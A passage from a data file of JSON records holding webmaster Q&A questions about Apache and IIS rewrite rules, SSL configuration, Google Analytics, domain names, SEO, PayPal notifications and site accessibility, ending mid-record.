{"id":"12036","title":"What can cause RewriteRule to work only for certain pages?","text":"Is there any extern factor (that is, not in the .htaccess file) that can cause the RewriteRule not to work for specific URLs (of existing pages)? I have the following code in the .htaccess (it performs redirection but not for all URLs): # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine on RewriteBase \/ RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php RewriteCond %{HTTP_HOST} !^(www\\.)?domain\\.com$ RewriteRule (.*) http:\/\/domain.com\/$1 [R=301,L,QSA] <\/IfModule> [Edit] I've already made some changes since I've first posted the question, changes that didn't bring any improvement in what regards the way redirections are made - so the problem still needs a solution. The whole .htaccess file content is: Options +FollowSymLinks -MultiViews RewriteEngine on AddHandler x-httpd-php .html .htm <ifModule mod_gzip.c> mod_gzip_on Yes mod_gzip_dechunk Yes mod_gzip_item_include file \\.(html?|txt|css|js|php|pl)$ mod_gzip_item_include handler ^cgi-script$ mod_gzip_item_include mime ^text\/.* mod_gzip_item_include mime ^application\/x-javascript.* mod_gzip_item_exclude mime ^image\/.* mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.* <\/ifModule> <ifModule mod_expires.c> ExpiresActive On ExpiresDefault \"access plus 1 seconds\" ExpiresByType text\/html \"access plus 1 seconds\" ExpiresByType image\/gif \"access plus 2592000 seconds\" ExpiresByType image\/jpeg \"access plus 2592000 seconds\" ExpiresByType image\/png \"access plus 2592000 seconds\" ExpiresByType text\/css \"access plus 2592000 seconds\" ExpiresByType text\/javascript \"access plus 216000 seconds\" ExpiresByType application\/x-javascript \"access plus 216000 seconds\" <\/ifModule> <ifModule mod_headers.c> <filesMatch \"\\\\.(ico|pdf|flv|jpg|jpeg|png|gif|swf)$\"> Header set Cache-Control \"max-age=2592000, public\" <\/filesMatch> <filesMatch \"\\\\.(css)$\"> Header set Cache-Control \"max-age=2592000, public\" <\/filesMatch> <filesMatch \"\\\\.(js)$\"> Header set Cache-Control \"max-age=216000, private\" <\/filesMatch> <filesMatch \"\\\\.(xml|txt)$\"> Header set Cache-Control \"max-age=216000, public, must-revalidate\" <\/filesMatch> <filesMatch \"\\\\.(html|htm|php)$\"> Header set Cache-Control \"max-age=1, private, must-revalidate\" <\/filesMatch> <\/ifModule> <ifModule mod_headers.c> Header unset ETag <\/ifModule> FileETag None <ifModule mod_headers.c> Header unset Last-Modified <\/ifModule> RewriteCond %{HTTP_HOST} !^(www\\.)?domain\\.com$ RewriteRule .? http:\/\/domain.com%{REQUEST_URI} [R=301,L] #BEGIN WordPress <IfModule mod_rewrite.c> RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php <\/IfModule> # END WordPress"}
{"id":"12034","title":"Selling domain names for a reasonable price","text":"So I have this domain name \"theverbproject.com\" that I bought back in December. I recently got an offer for 150.00. I'm debating whether I should sell it or hold out for however longer it takes for another offer. Is 150 a reasonable offer, or should I hold onto it?"}
{"id":"60302","title":"Exclude domain from Google Analytics account","text":"Some fool has implemented their Google Analytics tracking snippet on their website with **my Tracking ID** meaning my GA account is receiving data that I am not interested in from a website I have no control over. Thankfully they _are_ sending their hostname with the requests: <script> ...standard google stuff here... ga('create', 'MY-TRACKING-ID-HERE', 'their.hostname.here'); ga('send', 'pageview'); <\/script> Because they are sending their `hostname` the data is filterable in custom reports but it still turns up in the _standard reporting_. Is there some global account setting to reject data from certain domains? I can't believe I'm the first GA user to have somebody accidentally spamming their dataset. I hope the answer is not to declare GA account bankruptcy and move on to a clean slate."}
{"id":"9509","title":"Need some help on tomcat URL mod_rewrite or mod_jk","text":"I am trying to remove the context name from the URL of my server. Current URL - `http:\/\/www.domainname.com\/MyApp\/` What I need to make is to make it available at - `www.domainname.com\/` So it is only going to host one main app and that needs to be displayed when we open `www.domainname.com\/` on browser. I have already tried couple of things like below - RewriteEngine On RewriteCond %{REQUEST_URI} !^\/(Context\/.*)$ RewriteRule ^\/(.*)$ \/Context\/$1 [P,L] OR redirect permanent \/MyApp\/ abcd:\/\/domainname.com OR Using JKMount - JkMount \/MyApp\/* ajp13 JkMount \/MyApp* ajp13 OR Deploy war file to ROOT of tomcat and make relevant chagnes in web and server.xml All of these aren't working and I keep getting a intenal error. I need a way to basically trim the tomcat URL to make short."}
{"id":"9501","title":"Apache mod_rewrite for multiple domains to SSL","text":"I'm running a web service that will allow people to create their own \"instances\" of my application, running under their own domain. These people will create an A record to forward a subdomain of their main domain to my server. The problem is that my server runs everything under SSL. So in my configuration for port 80, I have the following: <VirtualHost *:80> ServerName mydomain.com ServerAlias www.mydomain.com RewriteEngine On RewriteCond %{HTTPS} !=on RewriteRule \/(.*) https:\/\/mydomain.com\/$1 [R=301] <\/VirtualHost> This has worked well to forward all requests from the http: to https: domain. But as I said, I now need to let any domain automatically forward to the secure version of itself. Is there a rewrite rule that will let me take the incoming domain and rewrite it to the https version of same? So that the following matches would occur: http:\/\/some.otherdomain.com -> https:\/\/some.otherdomain.com http:\/\/evenanotherdomain.com -> https:\/\/evenanotherdomain.com Thanks for your help! Apache mod_rewrite makes my brain hurt. Aaron."}
{"id":"57415","title":"Can I contact the owner of a domain name based on a WHOIS search?","text":"I did a WHOIS search for a domain name that I want. I found some info about the registrant of the domain name, and while no useful direct contact info was given, there was enough there for me to do some searching on the web and find some other ways to contact the registrant. I would rather contact him on my own than pay $39 to make an offer, which is the option this website gives me, and I don't even know if it will be seen. But I also saw this on the page that shows the info about the registrant of the domain: > By submitting a WHOIS query, you agree that you will use this data only for > lawful purposes and that, under no circumstances will you use this data to: > (1) allow, enable, or otherwise support the transmission of mass > unsolicited, commercial advertising or solicitations via direct mail, > electronic mail, or by telephone; or (2) enable high volume, automated, > electronic processes that apply to [name of website] (or its systems). It seems like it just means that I can't do mass marketing using info obtained from these searches, but it wouldn't disallow me from contacting the registrant on my own. However, the phrase: `mass unsolicited, commercial advertising or solicitations via direct mail, electronic mail, or by telephone` makes me a bit uneasy...the \"or\" in there seems to imply that even solicitation that's not \"mass solicitation\" is disallowed."}
{"id":"65522","title":"apache is not allowing me to use port number 443 in virtual tag for configuring apache for https service","text":"I am trying to configure apache for https service in xampp , i am almost done i am jsut struggling with that virtual tag in which i have give information about my self-signed ssl-certificate and key file , apache is not allowing me to use port number 443 in virtual tag even though i have no other service is running on this port , instead its working very well with any other free port like 55000 <VirtualHost *:443> # Server Certificate: SSLCertificateFile \"C:\/xampp\/apache\/bin\/mycert.crt\" # Server Private Key SSLCertificateKeyFile \"C:\/xampp\/apache\/bin\/mykey1.key\" SSLEngine On ServerName localhost DocumentRoot \"C:\/xampp\/htdocs\" <\/VirtualHost> error : Error: Apache shutdown unexpectedly. 3:36:52 AM [Apache] This may be due to a blocked port, missing dependencies, 3:36:52 AM [Apache] improper privileges, a crash, or a shutdown by another method. 3:36:52 AM [Apache] Press the Logs button to view error logs and check 3:36:52 AM [Apache] the Windows Event Viewer for more clues 3:36:52 AM [Apache] If you need more help, copy and post this 3:36:52 AM [Apache] entire log window on the forums"}
{"id":"32604","title":"Visit without pageview in Google Analytics","text":"Today I saw some metrics on one of my websites in Google Analytics and found something strange to me. How can I get visits without pageviews? I looked at Audience>Engagement>Page Depth I have page depth<1 and 710 visits Is there a problem in these numbers?"}
{"id":"53436","title":"How to show the search box in Google Search results page?","text":"I need to know the proper way to propagate the search-box in the **Google search result page**. I tried searching the Google for the procedure, but no luck. Any idea how to make appear the search-box ? "}
{"id":"2010","title":"Favicon, icon, shortcut icon, apple-touch-icon: Are there any others?","text":"I know of 2 basic kinds of default web icons for websites: * **Favicon**: place an `.ico` formatted file at the root of your site named `favicon.ico` and most desktop browsers will find it and display it in various contexts (bookmarks, tabs). Can also be added in code, which allows you to specify other names and other graphics types to the file, though there are type and size limitations for browsers: <link rel=\"shortcut icon\" href=\"\/favicon.ico\" \/> <link rel=\"icon\" href=\"\/favicon.ico\" \/> * **Web Clip Icon**: place a `png` formatted file called either `apple-touch-icon.png` or `apple-touch-icon-precomposed.png` at the root of your site and iPhone OS\/iOS versions of Safari will pick those up and store them when the site is added to the Home Screen. Can also be added with code like: <link rel=\"apple-touch-icon\" href=\"\/custom_icon.png\" \/> **Question** : Are there any other default icon graphics for a website a webmaster can include?"}
{"id":"21634","title":"Paypal PDT and IPN , how does it work?","text":"## PDT Payment Data Transfer is getting the transaction data of the purchase that was made on paypal site and you want to fetch that on your own site and display to the user. Also you may want to store it in your database for archive and tracking purposes. But I cannot exactly follow the documentation here What I am not getting is > Once you have activated PDT, every time a buyer makes a website payment and > is redirected to your return URL, a transaction token will be passed along > as a \"GET\" variable to this return URL. In order to properly use PDT and > display transaction details to your customer, you should fetch the > transaction token, variable name \"tx\", and retreive transaction details from > PayPal by constructing an HTTP POST to PayPal. > > Your POST should be sent to https:\/\/www.paypal.com\/cgi-bin\/webscr. You must > post the transaction token using the variable \"tx\" and the value of the > transaction token previously received (e.g. \"tx=transaction_token\"), and the > special identity token using the variable at and the value of your PDT > identity token (e.g. \"at=identity_token\"). You will also need to append a > variable named \"cmd\" with the value \"_notify-synch\", for example > \"cmd=_notify-synch\", to the POST string. ## IPN I have setup Instant Payment Notification through setting according to this documentation. This is basically logging into your paypal account and enable IPN while specifying a url where the notification will be sent. This is used to complete an order so that the product can be shipped. What I did is setup a PHP page. I have created a table and whenever that page is called (or hit), it registers an entry in the table so I know a notification came from Paypal. But it does not work either. What am I really doing wrong? The first thing I want to trouble shoot though is when the buyer pays the amount, he is automatically redirected to my site. I have enabled this but automatic redirection just does not work. Instead he is shown the url as an option after payment confirmation is shown. Can someone guide my how the PDT process goes? Where do I make the request for PDT, is it along the very first request (Buy Now button) or it is sent later? ## Addition I found some good sampling code of how everything should work but it still does not work. I use this code http:\/\/officetrio.com\/modules\/free-php-paypal- ipn-script.php for IPN. I am using this for PDT. This one uses SSL, I changed SSL to regular HTTP (copied paypal version), still does not work. http:\/\/ykyuen.wordpress.com\/2010\/02\/17\/paypal-payment-data-transfer-sample- code\/"}
{"id":"47352","title":"Is using .se, Sweden's top level domain name, a bad idea for a website hosted in the United States","text":"I have a client with a website name that ends with se. I thought instead of dealing with .com domain names I would register something like gardenho.se. Is there anything wrong with this? Does this impact SEO? Can I simply have the one name and then redirect it to the .com domain name so that it can be used on business cards?"}
{"id":"3688","title":"Are there discussions about developing a user contributed website?","text":"I'm developing a website where users will be the ones who add new input, validate new suggestions and correct incorrect information. (Much like this site). To make sure that abuse of these rights by users is minimized, I need to develop a good reputation system which encourages good behaviour, much like this site's reputation, again. I would like to learn more about this subject, which is why I ask: are there any discussions about the development of user contributed websites? Any resources, studies or anything else that could help me out to develop a system that will work? Thanks in advance. - Tom"}
{"id":"36338","title":"Visitors have old website cached in their browsers","text":"My client's new website is example.com, the old website is example.co.uk. I've re-pointed the A Records to the new website (so as to leave the emails alone) and put in 301 redirects from old pages to new pages. But, my client is upset as he (and he thinks many of his clients) have the old website cached in their browsers and won't know how to clear their browser cache. Is there anything I can do to overcome this and if not, what sort of time will browsers finally stop using their cached pages so I can at least go back to my client and tell him that his clients will finally start to see the new website?"}
{"id":"28875","title":"Redirect Permanent and https","text":"I just set up HTTPS on my server, and I have an issue with redirect permanent. Example `http:\/\/domain.com\/index.html` it redirect me to `http:\/\/www.domain.comindex.html` The **\/** (tail ending slash) is missing and I can't figure out how to fix it. It's work with `http:\/\/www.domain.com\/index.html` Here is my httpd.conf <VirtualHost *:80> ServerName domain.com Redirect permanent \/ https:\/\/www.domain.com\/ <\/VirtualHost> <VirtualHost *:80> ServerName www.domain.com Redirect permanent \/ https:\/\/www.domain.com\/ <\/VirtualHost> <VirtualHost *:443> DocumentRoot \/var\/www\/domain\/ ServerName www.domain.com SSLEngine on SSLCertificateFile ssl.crt SSLCertificateKeyFile ssl.key <\/VirtualHost>"}
{"id":"43141","title":"Backlinking to a website with image source","text":"I just want to ask can we increase backlinks to our site by putting 1x1 pixel image on our clients' sites or can anybody suggest a better solution? <img src=\"http:\/\/www.mysite.com\/\" alt='http:\/\/www.mysite.com\/' \/>"}
{"id":"2519","title":"Where should I look for a windows based CMS?","text":"Ideal features: * windows * allows for localization * allows us to make it look exactly like the current http:\/\/fogcreek.com We're currently using ASP.NET, which means you have to check out the website to make any changes (and so our front page has stuff from a year ago on it). Lame. Can be free or paid. Any suggestions?"}
{"id":"2515","title":"Why would Google's ranking algorithm move a search result due to quotes?","text":"Yesterday at 10AM, the Google search: > \"Submitting values of \"jQuery Editable Invoice\" into a MySQL DB using PHP\" came up with `stackoverflow.com` as the 8th result on the page. The first was a spammy page which was just copying the info from `stackoverflow.com` without attribution [contacted and they fixed it]. Removing the quotes surrounding the question > Submitting values of jQuery Editable Invoice into a MySQL DB using PHP `stackoverflow.com` came up first. Removing just the inner quotes > \"Submitting values of jQuery Editable Invoice into a MySQL DB using PHP\" `stackoverflow.com` came up first again. At 3PM yesterday, all results for those 3 combinations showed `stackoverflow.com` in the first result. What could have caused that?"}
{"id":"2516","title":"Is there a jQuery lightbox plugin that has thumbnails inside the box?","text":"I'm trying to find a lightbox style plugin in jQuery that displays thumbnails at the bottom of the picture (or video, or whatever). I found plenty of lightbox plugins, but none that allows navigation by thumbnail _inside_ the box. The plugin must be able to open images, swf and inline content. I realize that jQuery will not be able to generate the thumbnails and that's ok. Do you have any good ones to suggest? Thanks"}
{"id":"64927","title":"Do search engines lower your ranking for using private registration like WhoisGuard?","text":"I am registering a new domain name from \"namecheap.com\" which offers free WhoisGuard for a year. There are numerous reasons not to list your contact information with your domain registrar, such as blocking contact information from telemarketers, and email spammers. Google can only see registration information on domains that they hold. Does blocking WhoIS users from accessing your contact information via privacy services (WhoisGuard) have a harmful effect on SEO and lead to search engines not trusting you? WhoisGuard References: http:\/\/www.whoisguard.com https:\/\/www.namecheap.com\/security\/whoisguard.aspx"}
{"id":"2513","title":"What will happen if I transfer the registration of the primary domain on my 1and1.com account?","text":"I have a hosting account with 1and1.com, and several domain registered and hosted with them. I need to transfer the registration of the **primary domain** on my account to a new registrar, but I don't really want to move all of my domains with them. Will transferring only the primary domain have any adverse effect on the other domains hosted on that account?"}
{"id":"49326","title":"Emails have disappeared from 1 account on mail server (WHM\/LAMP VPS)","text":"I just received a call from a client saying that all their emails have dissappeared from their inbox. I logged on to their webmail account via CPanel and RoundCube and this appears to be true - there are emails in sent, drafts, junk and deleted but nothing in the inbox. There is plenty of room on our VPS and the client has plenty of quota. I sent a test email and it did appear fine in the webmail server. What could have caused this and is there any way to retrieve it?"}
{"id":"46845","title":"New site has PR9 as soon as it is made, why\/how?","text":"I was just messing around with Google Sites and noticed that as soon as I made my site the homepage had a PR of 9 (before it crosses your mind all the links it makes are `nofollow`). The homepage of the test site I was playing around with is https:\/\/sites.google.com\/site\/samsnewsite030413\/ Why does this happen as PR is on a per-page basis, and as the page is brand new how does it have a PR? I've seen a similar thing happen with Github project pages; they seem to have a PR8 as soon as they are made, it's not like they are running off a standard URL with JavaScript bringing in the content - they seem to be static pages with their own URLs."}
{"id":"42813","title":"buttons (text or images)","text":"I would like to know if I should create CSS buttons or image buttons for my site. What is better? Problem is that the text is formatted with Helvetica Neue ( I like that font very much) and I can't use it as a web font because of copyright issues. If I create the buttons in CSS they look beautiful in the browser but get resized when the user has chosen a different text-size for their browsers. Image buttons have the advantage I can embed my font but do not look that good as CSS buttons. Also in that case I had to make Retina-versions for the buttons (just for the future when any PC has a Retina-display). Can someone please help me in this tricky situation? Does anyone know a web- safe alternative to Helvetica Neue? Should I disable the resizing of my button div-containers? What's today's standard when it comes to website buttons? TIA!"}
{"id":"49323","title":"To allow or disallow alphabetical content directory pages?","text":"We have a content that publishes fresh content 2-3 times a day. The site has category pages for tags and each alphabet. They both list the title with links to all the content within that category or starting with that alphabet respectively. Should you allow the robots to index these pages specifically the ones that list titles of the page starting with each alphabet?"}
{"id":"49897","title":"Is this a correct robots.txt file?","text":"I would like to allow Googlebot and Mediapartners-Google (AdSense useragent) to crawl my website. So I have written below code inside my _robots.txt_ file. User-agent: Googlebot Disallow: User-agent: Mediapartners-Google Disallow: Sitemap: http:\/\/website.com\/sitemap.xml Is the above _robots.txt_ file is correctly written? Yes or no ?"}
{"id":"52600","title":"Should I have og:description and meta description together on every page?","text":"Or will Google not like it if I have two kinds of description tags? I just put up a new blog and it automatically adds the `og:description` and `og:title` and I am not sure if that is going to get me penalized or my pages somehow discounted if I have meta description and `og:description` on the same page. Would anyone know how to best handle this situation? Should I try to get rid of the `og:description`? The site I am working on is a WordPress site."}
{"id":"68110","title":"How can I view website requests in console in real time?","text":"I want to display incomming requests to my web server in real time, in console. Each request should be represented by a single line with information about the request, i.e. client’s IP address, etc. Is it possible? If so, how?"}
{"id":"5058","title":"Does pinging the page on social bookmarking sites whre your site has been bookmarked help SEO?","text":"If you bookmark your site on say, delicious, does it help to then ping the url on delicious that contains the bookmark to your site?"}
{"id":"68117","title":"Web Notification Design","text":"I am designing a website which my web user would interact on the site. Take FB poke function for example. There are two men A and B and they are both online. And A poked B. What I want to know is how to make B get an instant notification, knowing that A poked him just now ? The way I thought is that make a javascript code to ajax the database for new notification every minutes. How could I reduce the amount of the times of query the data ? Or is there any other way better?"}
{"id":"5056","title":"Is there a simple way to query the top URLs in Google Analytics?","text":"I'm looking for an easy way to query GA programmatically in order to display the most popular pages on my site. GA has a Data Export API, but it seems kind of complex to work with for what I want to do. Is there a simpler way or am I stuck with the Data Export API?"}
{"id":"5052","title":"amung.us and \"users online\" time window","text":"Greetings i would like to ask you what is the time window that amung.us calculates \"online\" users. 1 hour? 30 min? 15 min? other?????"}
{"id":"58054","title":"Why would layout differ on first-load of a webpage?","text":"Not entirely sure I understand what's going on, but would appreciate some pointers or things to try. (In Chrome\/Mac...) In an incognito window, try loading http:\/\/ireland.media.info - and look at the search box on the right-hand side. It's falling off the bottom of the top menu bar, isn't it? Looks really ugly, doesn't it? Now, hit reload. Look at the search box on the right-hand side. Oh. It's displaying nicely in the middle of the top menu bar, isn't it? I've been writing HTML for twenty years, but never seen this. Is it, perhaps, a bug related to the images on the left, which are browser re- sized (so they look pretty on a retina screen)? Is it a bug at all? Are you seeing this issue on any other browser or any other build of Chrome for another OS? (Just so you know: the HTML should be identical for each load, and, indeed, should be cached at the server using Varnish anyway.) Any clues?"}
{"id":"38568","title":"difference in using third party social buttons and directly integrating each social buttons ourselves","text":"I wanted to add specific social buttons to my article. I used ShareThis. It gives a facebook like button, google plus button, etc... by default. were as in other articles of different modules i had integrated the facebook like by myself by following the documentation (including markup in the head section) What is the difference in adding manually with many markups and using third party code? Will that affect SEO or any other advantage over the respective social networking site (here for example facebook and google plus)?"}
{"id":"28544","title":"Blocked urls by Google","text":"I have a website which is 2 years old now. I saw it after a long time now and was shocked to see that Google robot has blocked 104 pages of my website. I saw this through webmaster tools. IS there any way I can unblock them? EDIT: I have attached the image but can't provide the name of the website. Thanks  Thanks in advance."}
{"id":"3079","title":"Should I use a file extension or not?","text":"I've always wondered about this and never found a good solution. But this question reminded me of it. When I have a URL on my website it can be displayed and accessed any of the following ways: http:\/\/www.somesite.com\/subdirectory http:\/\/www.somesite.com\/subdirectory\/ http:\/\/www.somesite.com\/subdirectory\/index.htm http:\/\/www.somesite.com\/subdirectory\/index.html http:\/\/www.somesite.com\/subdirectory\/index.php http:\/\/www.somesite.com\/subdirectory\/index.asp http:\/\/www.somesite.com\/subdirectory\/some-relevant-keywords http:\/\/www.somesite.com\/subdirectory\/some-relevant-keywords.htm http:\/\/www.somesite.com\/subdirectory\/index.php?page=some-relevant-keywords http:\/\/www.somesite.com\/subdirectory\/?page=some-relevant-keywords http:\/\/www.somesite.com\/subdirectory\/?page=some-relevant-keywords&even=more-keywords etc... Now, I can understand the merits of adding keywords in the URL. Even the most basic SEO guide will mention to do just that. ... but for the sake of sanity, clarity, ease of reading, ease of use, and so on, **including web compliance** ... Is it **_preferred_** to have a file-extension or not? Really, deep down my logic tells me: yes, it should. The reason being is this stems back to the days of the past when the internet was mostly USENET, FIDONET, FTP and GOPHER. See, if a URL has no _filename_ , then it normally is considered a _directory_. This is where index.htm came about, because this by default lists the directory if no index file is found. However, soon enough, web programmers started overriding this and using index.htm to actually serve the content of that web directory _as a page_. The main difference, was markup language was added in, and this was parsed in the browser. With this markup language, the `Content-Type:text\/html;` tag in the response header became the indicator to what filetype it was **for any file**. HTML seems to be the only \"filetype\" that just doesn't have consistently named extensions, except for when they are saved. Unfortunately, once web pages became the main thing, it became a security error to actually display the directory contents, so everything stayed hidden with only the actual URL content being displayed. Not to mention the cross-platform file-naming wars.. windows based require a 3 or less digit extension, and unix\/mac can have more. So should it be `.HTM` or `.HTML` or `NONE` and let the platform decide? So in essence, I guess what I am trying to figure out is _beyond SEO_ and dealing more with aesthetics and web compliance."}
{"id":"7168","title":".html extension or no for SEO purposes","text":"> **Possible Duplicate:** > Should I use a file extension or not? I know this question has been asked before on Stack Overflow, but what I have not been able to find in the posts I've read are concrete references as to WHY one is better than the other (something I can take to my boss). So I'm working on an MVC 3 application that is basically a rewrite of the existing production application (web forms) using MVC. The current site uses a URL rewriter to rewrite \"friendly\" urls with HTML extensions to their ASPX counterpart. i.e. http:\/\/www.site.com\/products\/18554-widget.html gets rewritten to http:\/\/www.site.com\/products.aspx?id=18554 We're moving away from this with the MVC site, but the powers that be still want the HTML extension on the URLs. As a developer, that just feels wrong on an MVC site. I've written a quick and dirty HttpModule that will perform a 301 redirect from the .html URL to the same URL without the .html extension and it works fine, but I need to convince management that removing the .html extension is not going to hurt SEO. I'd prefer to have this sort of friendly URL: http:\/\/www.site.com\/products\/18554-widget Can anyone provide information to back up my position or am I actually trying to do something that WOULD hurt SEO, in which case can you provide references on that?"}
{"id":"42210","title":"Does Google treat .html pages differently from .php pages?","text":"> **Possible Duplicate:** > Should I use a file extension or not? My current hosting provider does not let me put PHP code inside of a .html page. So part of my content is in a database and displayed with PHP, but most of it is in pre-rendered .html files. I'd like to put more of it in .php files however I am concerned that search engines will penalize my .php pages because they are PHP. Is there any evidence so that effect? Thanks."}
{"id":"7797","title":"SEO .html, .php or nothing","text":"> **Possible Duplicate:** > Should I use a file extension or not? Hi Guys, When I make a site, should I use the .php extension, rewrite it to .html or just remove it (.htaccess)? What's your opinion about this? I've always learnt that it was .html, but I don't know why. I doubt it that google doesn't care, but why should .html prefered to no extension?"}
{"id":"65298","title":"Does .html extension in URL help for SEO?","text":"I am working on `dotNET` and I have changed `URL` extension from `.aspx` to `.html`. Is it good to use .html extension ? My actual URL is `www.example.com\/Project.aspx?Id=2&Type=this-is-something` I have replace this as `www.example.com\/Projects\/2\/this-is-something` Is it fine ? Else give me suggestion which `URL` should I use for `SEO`. I can make URL anyhow I want using URL Rewriting. I want to make it best URL for SEO. Please help me regarding this."}
{"id":"38567","title":"What's the relation between securepaynet and GoDaddy?","text":"I created an account in Google Apps, and during the registration I also created a GoDaddy account (within Google Apps page). And, the username and password Google provided me will only login on this securepaynet settings page, not on GoDaddy's official page. So, what's the relation between securepaynet and GoDaddy? Why can't I login to the GoDaddy page (that have more configurations options)?"}
{"id":"53751","title":"Web.config WordPress rewrite rules next to Magento","text":"I've installed Magento on IIS in folder: `E:\\mydomain\\wwwroot` (I already have it all running correctly). I have no deeper folder `magento`, I placed all files directly in the `wwwroot` folder, so: wwwroot\\app wwwroot\\downloader wwwroot\\errors wwwroot\\includes etc... **UPDATE** : since I'm on IIS my `.htaccess` is ignored completely and my `web.config` rules are used instead. Here's my web.config in folder `e:\\mydomain\\wwwroot`: <?xml version=\"1.0\" encoding=\"UTF-8\"?> <configuration> <system.webServer> <rewrite> <rules> <rule name=\"Magento SEO: remove index.php from URL\"> <match url=\"^(?!index.php)([^?#]*)(\\\\?([^#]*))?(#(.*))?\" \/> <conditions> <add input=\"{URL}\" pattern=\"^\/(media|skin|js)\/\" ignoreCase=\"false\" negate=\"true\" \/> <add input=\"{REQUEST_FILENAME}\" matchType=\"IsFile\" ignoreCase=\"false\" negate=\"true\" \/> <add input=\"{REQUEST_FILENAME}\" matchType=\"IsDirectory\" ignoreCase=\"false\" negate=\"true\" \/> <\/conditions> <action type=\"Rewrite\" url=\"index.php\/{R:0}\" \/> <\/rule> <\/rules> <\/rewrite> <\/system.webServer> <\/configuration> Next, I wanted to install WordPress. I unzipped all files in folder `e:\\mydomain\\wwwroot\\wordpress` Browsed to www.mydomain.com\/wordpress\/wp-admin\/install.php, where I configured everything for my database. Everything was installed correctly. I then navigate to http:\/\/www.mydomain.com\/wordpress\/wp-login.php where I type my credentials. I seem to be logged in and am redirected to http:\/\/www.mydomain.com\/wordpress\/wp-admin\/ But there I receive an empty page. I enabled detailed error message in IIS following this article: http:\/\/www.iis.net\/learn\/troubleshoot\/diagnosing-http-errors\/how-to-use-http- detailed-errors-in-iis I also checkec with Fiddler and see that I receive a 500 error: GET \/wordpress\/wp-admin\/ HTTP\/1.1 Host: www.mydomain.com Connection: keep- alive Cache-Control: max-age=0 Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9, _\/_ ;q=0.8 User-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/29.0.1547.76 Safari\/537.36 Referer: http:\/\/www.mydomain.com\/wordpress\/wp-login.php Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8,nl;q=0.6 Cookie: wordpress_fabec4083cf12d8de89c98e8aef4b7e3=floran%7C1381236774%7C2d8edb4fc6618f290fadb49b035cad31; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_fabec4083cf12d8de89c98e8aef4b7e3=floran%7C1381236774%7Cbf822163926b8b8df16d0f1fefb6e02e HTTP\/1.1 500 Internal Server Error Content-Type: text\/html Server: Microsoft- IIS\/7.5 X-Powered-By: PHP\/5.4.14 X-Powered-By: ASP.NET Date: Sun, 06 Oct 2013 12:56:03 GMT Content-Length: 0 My WordPress web.config in folder `e:\\mydomain\\wwwroot\\wordpress` contains: <?xml version=\"1.0\" encoding=\"UTF-8\"?> <configuration> <system.webServer> <rewrite> <rules> <rule name=\"wordpress\" patternSyntax=\"Wildcard\"> <match url=\"*\"\/> <conditions> <add input=\"{REQUEST_FILENAME}\" matchType=\"IsFile\" negate=\"true\"\/> <add input=\"{REQUEST_FILENAME}\" matchType=\"IsDirectory\" negate=\"true\"\/> <\/conditions> <action type=\"Rewrite\" url=\"index.php\"\/> <\/rule><\/rules> <\/rewrite> <\/system.webServer> <\/configuration> I also want my WordPress articles to be available on `www.mydomain.com\/blog` instead of `www.mydomain.com\/wordpress` Ofcourse my admin links for Magento and Wordpress should also work. How can I configure my web.config files to achieve the above?"}
{"id":"52057","title":"Line spacing does not go to zero","text":"I have reduced the font size to very small here but large interline gaps remained. Additionally, it does not seem to be monospace since length does not increase monotonously as it should in case of font-family: \"Courier New\",Courier,monospace. In edit mode, everything is fine."}
{"id":"29607","title":".htaccess Redirect Old Threads","text":"I have moved to mybb to vanilla and want to redirect old threads to the new format, so the indexed threads on google aren't lost. The old format is > showthread.php?tid=3003 Whereas the new format is > index.php?p=\/discussion\/3003 How would i redirect this via .htaccess?"}
{"id":"53757","title":"Google+ and authorship of brand pages","text":"Does Google+ support authorship for brand pages (e.g. not a personal Google+ profile). It is unclear on the context. E.g. here it says you need a recognizable profile photo of a face: https:\/\/plus.google.com\/authorship But on the examples they have ZDNet logo: https:\/\/support.google.com\/webmasters\/answer\/1408986?expand=option2 What would be the authorship markup for Google+ pages as page urls differ from profile urls?"}
{"id":"10766","title":"SEO for different content displayed via PHP","text":"Do search engines index, crawl, and display content that is shown only to certain users via php? For example, I have a page which looks like this: some content1 _php if user is x user_ some content2 for user x _php if user is y user_ different content3. So, would the search engines consider the keywords\/links\/seo of all three types of content or just that displayed to all users? Thanks"}
{"id":"64903","title":"Requirements for Google HTML snapshots","text":"Are there any requirements for a HTML snapshot for Google other than: > .. must contain the same content as the dynamically created page .. found here: https:\/\/developers.google.com\/webmasters\/ajax-crawling\/docs\/html- snapshot?hl=nl There is also a question found here: Content of html snapshot for Search engines But is does not realy answers my question. So what about the structure and layout? Or can i just make a stripped down version with plain HTML."}
{"id":"14641","title":"What is best for SEO - 'RDFa Semantic Web' or 'Link Building'","text":"Given that RDFa is fairly sensible and Google use it, should I plug in some sensible semantic web tags into my site or should I invest my energies into link building? I was also planning to use this to put my semantic markup together. I don't think the site is important to the question, however it is a relaunched hotel website."}
{"id":"45566","title":"Alexa ranking of a website?","text":"If a user visits demo.domain.com, does that count as having visited the site domain.com? Does the Alexa ranking apply to the sub-domain or the primary domain?"}
{"id":"21920","title":"Can I modify an existing certificate to run on multiple hostnames?","text":"I've been investigating and I found instructions on how to create an SSL certificate with multiple hostnames, but I need to know whether I can modify an existing certificate (not create a new certificate) to allow multiple hostnames."}
{"id":"14868","title":"How can I browse the Web blind for a day?","text":"\"Close your eyes\" isn't the answer I'm looking for, but +1 to you if it was your first thought. I'm putting together an awareness campaign called Browse Blind. The goals are to: * Help sighted people experience the Web as a visually impaired user for one day or more. * Show video footage of visually impaired users browsing popular sites such as Facebook. * Encourage webmasters to take a more active interest in making their sites accessible. * Demonstrate the features that make a site accessible, and those that impede accessibility. * Make the Web a better place. The project came about after a health scare that resulted in three trips to a local eye hospital. My sight is OK now, but it struck me that, as much as web designers and developers wax lyrical about accessibility, very few seem to have used a screen reader for any length of time (myself included) or considered what their online experience would be like if they suddenly lost their sight. And _not a single one_ of the 100 or so webmasters I've spoken to about accessibility have watched partially sighted users browse the Web. (It's one of the topics I always bring up at Web conferences.) My questions are: 1. **What is the most common method of Web access** (and the name of any related software) for partially sighted users? 2. **How can I simulate this method** so that a non-technical sighted user on any desktop platform can browse the Web in the same way as a 